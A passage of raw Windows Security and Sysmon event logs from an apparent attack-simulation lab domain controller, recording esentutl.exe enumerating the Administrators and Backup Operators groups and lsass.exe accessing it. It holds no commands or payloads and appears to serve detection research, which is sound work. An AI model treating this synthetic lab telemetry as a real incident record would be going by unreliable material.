STEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222127,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222128,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222129,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222130,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.056\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.056","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222131,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222132,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 